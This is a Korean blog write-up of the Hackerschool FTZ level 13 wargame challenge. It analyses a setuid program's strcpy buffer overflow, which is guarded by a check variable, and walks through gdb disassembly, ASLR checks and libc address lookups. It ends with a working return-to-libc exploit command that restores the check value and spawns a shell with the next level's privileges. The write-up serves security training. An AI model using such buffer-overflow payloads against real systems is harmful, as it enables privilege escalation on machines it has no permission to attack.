[해커스쿨] FTZ LEVEL13 문제 풀이
ㅁ 문제 요약
문제 유형 | System Hacking |
문제 타입 | Linux |
문제 난이도 | 하 |
ㅁ 상세분석
[그림 1] 문제 내용
LEVEL13 계정으로 로그인 하고 hint 파일 내용을 소스 코드를 보여주고 /home/level13 폴더에 setuid가 걸린 attackme 파일이 존재한다.
#include <stdlib.h> main(int argc, char *argv[]) { long i=0x1234567; char buf[1024];
setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]);
if(i != 0x1234567) { printf(" Warnning: Buffer Overflow !!! \n"); kill(0,11); } } |
[그림 2] 문제 소스코드 분석
소스 코드 분석을 해보면 strcpy 함수를 사용해서 버퍼 경계를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다. 하지만 이전 문제와 다르게 함정이 존재한다. i 변수에 있는 값(0x1234567)을 건드리지 않고 Shellcode를 삽입해야 한다.
Dump of assembler code for function main: 0x080484a0 <main+0>: push ebp 0x080484a1 <main+1>: mov ebp,esp 0x080484a3 <main+3>: sub esp,0x418 0x080484a9 <main+9>: mov DWORD PTR [ebp-12],0x1234567 0x080484b0 <main+16>: sub esp,0x8 0x080484b3 <main+19>: push 0xc16 0x080484b8 <main+24>: push 0xc16 0x080484bd <main+29>: call 0x8048370 <setreuid> 0x080484c2 <main+34>: add esp,0x10 0x080484c5 <main+37>: cmp DWORD PTR [ebp+8],0x1 0x080484c9 <main+41>: jle 0x80484e5 <main+69> 0x080484cb <main+43>: sub esp,0x8 0x080484ce <main+46>: mov eax,DWORD PTR [ebp+12] 0x080484d1 <main+49>: add eax,0x4 0x080484d4 <main+52>: push DWORD PTR [eax] 0x080484d6 <main+54>: lea eax,[ebp-1048] 0x080484dc <main+60>: push eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add esp,0x10 0x080484e5 <main+69>: cmp DWORD PTR [ebp-12],0x1234567 0x080484ec <main+76>: je 0x804850d <main+109> 0x080484ee <main+78>: sub esp,0xc 0x080484f1 <main+81>: push 0x80485a0 0x080484f6 <main+86>: call 0x8048360 <printf> 0x080484fb <main+91>: add esp,0x10 0x080484fe <main+94>: sub esp,0x8 0x08048501 <main+97>: push 0xb 0x08048503 <main+99>: push 0x0 0x08048505 <main+101>: call 0x8048380 <kill> 0x0804850a <main+106>: add esp,0x10 0x0804850d <main+109>: leave 0x0804850e <main+110>: ret 0x0804850f <main+111>: nop End of assembler dump. |
[그림 3] main 함수 disassembly
main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. strcpy 함수를 사용해서 버퍼 오버플로우 문제가 발생하는 건 기존과 똑같지만 i 변수의 값을 건드리지 않고 Shellcode를 입력해야 한다.
[그림 4] 스택 영역 ASLR 적용 확인
A 문자를 1024개 만들어서 공격을 시도하는 도중에 스택 영역에 ASLR 기법이 적용되어 있는 것을 확인할 수 있었다. 매번 stack의 주소가 계속 변경되어 Shellcode의 위치가 계속 변경되어서 공격 성공 확률이 낮아진다.
[그림 5] 라이브러리 영역 ASLR 적용 확인
ldd 명령어를 이용해서 라이브러리 영역에도 ASLR이 적용되었는지 확인한 결과 스택 영역은 ASLR 걸려있지만 라이브러리 영역에는 ASLR 걸려있지 않아서 RTL 공격을 시도했다.
[그림 6] SFP/RET 확인
0x080484a1 브레이크 포인트를 걸고 A 문자 1024개를 입력한다. 브레이크 포인트에서 멈추면 esp를 확인하면 0xbfffe458 값은 SFP를 의미하고 0x42015574 값은 RET를 의미한다. 그리고 0x080484e2에 브레이크 포인트를 걸고 c를 입력해서 계속 진행한다.
[그림 7] RET 거리 계산과 i 변수 위치 확인
0x080484e2에서 멈추게 되는데 다시 esp를 확인한다. 파란색 부분이 i 변수를 의미한다. 빨간색 부분은 SFP와 RET를 의미하는데 문제를 풀기 위해서는 i 변수가 가지고 있는 0x01234567 값을 건드리면 안 된다. 조건을 만족시키기 위해서 공격 코드를 작성할 때 i 변수 위치에 다시 0x01234567 값을 쓰고 다시 나머지 부분을 채우는 방식으로 공격을 진행하며 된다.
[그림 8] system 함수 주소 구하기
gdb에서 print 명령어를 사용해서 system 함수 주소를 구한다.
[그림 9] /bin/sh 문자열 주소 구하기
system 함수에서 사용하는 /bin/sh 문자열 주소를 구한다.
[그림 10] 공격 코드 구조
공격 코드 구조를 살펴보면 기존과 동일하지만 중간에 0x1234567 조건이 들어간다.
최종 공격코드는 아래와 같다.
공격 코드: ./attackme `python -c 'print"A"*1036+"\x67\x45\x23\x01"+"A"*12+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42"'`
[그림 11] 문제 결과
공격 코드를 입력하면 LEVEL14 권한의 shell을 획득하고 my-pass 입력하면 LEVEL14 계정의 패스워드를 획득할 수 있다.
'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글
[해커스쿨] FTZ LEVEL15 (0) | 2016.01.05 |
---|---|
[해커스쿨] FTZ LEVEL14 (0) | 2016.01.05 |
[해커스쿨] FTZ LEVEL12 (0) | 2016.01.04 |
[해커스쿨] FTZ LEVEL11 (0) | 2016.01.04 |
[해커스쿨] FTZ LEVEL10 (0) | 2015.12.31 |